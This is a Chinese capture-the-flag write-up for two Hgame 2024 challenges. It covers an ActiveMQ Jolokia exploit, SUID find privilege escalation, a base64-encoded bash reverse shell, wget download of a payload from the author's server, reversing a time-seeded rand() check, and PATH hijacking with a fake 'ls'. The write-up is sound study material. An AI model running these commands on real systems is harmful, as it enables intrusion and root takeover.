Hgame 2024 week 4

by:Infernity

Reverse and Escalation.

一个find提权闹麻了

这道题是ActiveMQ Jolokia 后台代码执行漏洞

https://blog.csdn.net/huangyongkang666/article/details/134814554

去github上下载一个poc

图片.png

然后打入命令

1	`python3 poc.py -u admin -p admin http://47.102.184.100:31838/`

等待处理完毕后进入/admin/shell.jsp?cmd=

然后就可以执行命令了，查看flag发现没权限，用suid提权试试

1
2
3

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

这里用第三条才行，其他两条不行。

执行发现find有root权限，那直接用find执行命令。.

图片.png

1	`find /flag -exec cat /flag ;`

图片.png

hgame{961c3bf5c7a186ed8e39174ccf248b1aee228479}

Reverse and Escalation II.

我得坐起来跟他打.gif 感谢M1sery

承接上一道题，这道题的find命令没法正常使用，所以不能用find执行命令的方式读出flag。在得到/admin/shell.jsp?cmd=后，发现使用find命令会让我们回答一个计算题，但是时间只在瞬息之间，手打不可能，必须用脚本。

这里第一步需要先反弹shell，才好操作。

https://www.cnblogs.com/BOHB-yunying/p/15523680.html

普通的反弹shell语句都不可以，这篇文章提到了java中利用Runtime.getRuntime().exec来反弹shell，这里前面语句可能就是这个，所以尝试把这个语句传参打入:

1	`bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}\|{base64,-d}\|{bash,-i}`

测试后发现不行，那就把这段语句保存为一个文件，例如shell

然后把这个shell文件上传到自己的服务器(位置是/var/www/html/)，再通过题目服务器自带的wget命令下载到题目服务器的网站根目录上，

1	`wget http://47.xxx.xxx.xx/shell`

这样还是不能执行shell文件，因为你ls -al发现shell的权限不够，那我们就需要给它升级权限，利用命令

1	`chmod 777 ./shell`

这里就得到了一个可执行的shell，然后我们回到/admin/shell.jsp页面，在服务器上开启监听，执行shell文件

1	`/admin/shell.jsp?cmd=./shell`

到这里反弹shell成功。

最开始我写了个bash脚本回答它给的问题，但是每次都是错误的，那可能find的内部逻辑不正确，我们把/user/bin/find这个程序下载到本地，拖到ida里逆出来拿到它的内部代码。

int __cdecl main(int argc, const char **argv, const char **envp)
{
    unsigned int v3; // eax
    unsigned int v4; // eax
    unsigned int v6; // [rsp+20h] [rbp-10h]
    unsigned int v7; // [rsp+24h] [rbp-Ch]
    int i; // [rsp+28h] [rbp-8h]
    int v9; // [rsp+2Ch] [rbp-4h]

    v3 = time(0LL);  //返回当前时间
    srand(v3);  //设置随机数种子
    v9 = 0;
    for ( i = 1; i < argc; ++i )
    {
        v7 = rand() % 23333;
        v6 = rand() % 23333;
        printf("%d + %d = \n", v7, v6);
        if ( v7 + v6 != atoi(argv[i]) )
        {
            puts("wrong answer!");
            return 1;
        }
        v4 = atoi(argv[i]);
        printf("%d correct!\n", v4);
        if ( ++v9 > 38 )
        {
            setuid(0);    //权限升级
            system("ls");
            return 0;
        }
    }
    return 0;
}

审计代码才发现，这里就是在我们执行find的时候，要回答随机数组成的39个问题，然后就会以root的权限执行system(“ls”);

而这里是以时间为种子的随机数，是伪随机数，我们可以自己写个脚本，把时间提前一点，得到的序列把39个答案卡好时间传给find就可以了。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>

int main(int argc, const char **argv, const char **envp)
{
    unsigned int v3;
    unsigned int v4;
    unsigned int v6;
    unsigned int v7;
    int i;
    int v9;

    v3 = time(0LL);
    srand(v3 + 10);
    printf("v3: %d\n", v3);
    printf("/usr/bin/find ");
    v9 = 0;
    for (i = 0; i < 40; ++i)
    {
        v7 = rand() % 23333;
        v6 = rand() % 23333;
        printf("%d ", v7 + v6);
        if (++v9 > 38)
        {
            return 0;
        }
    }
    return 0;
}

这里是提前了10s，会生成39个答案

图片.png

我们就把这一段，直接复制到我们反弹shell的终端里，卡好10s时间，多打几次，就能成功。

/usr/bin/find 36230 11291 17094 25946 11960 9219 19755 17043 13268 25972 20122 25497 25726 11857 7919 28246 3433 4614 10100 9660 3632 20753 19857 14603 25764 7183 5291 15056 18010 11073 22600 16287 21642 17812 31136 19806 7802 23533 9086

但是刚刚说了，这里39次成功后，系统执行的是ls命令，我们如何修改这个部分拿到flag呢。

这里就需要我们写一个名为ls的可执行文件，把它放到/tmp目录里，然后把/tmp目录，放在$PATH环境变量的最前面，这样系统执行system(“ls”)的时候，就会在环境变量的第一个也就是/tmp目录里去找我们写的ls可执行程序，来读取flag。

#include <stdio.h>

int main()
{
    FILE *fp;
    char c;

    fp = fopen("/flag", "r");
    while ((c = fgetc(fp)) != EOF)
    {
        putchar(c);
    }
    fclose(fp);

    return 0;
}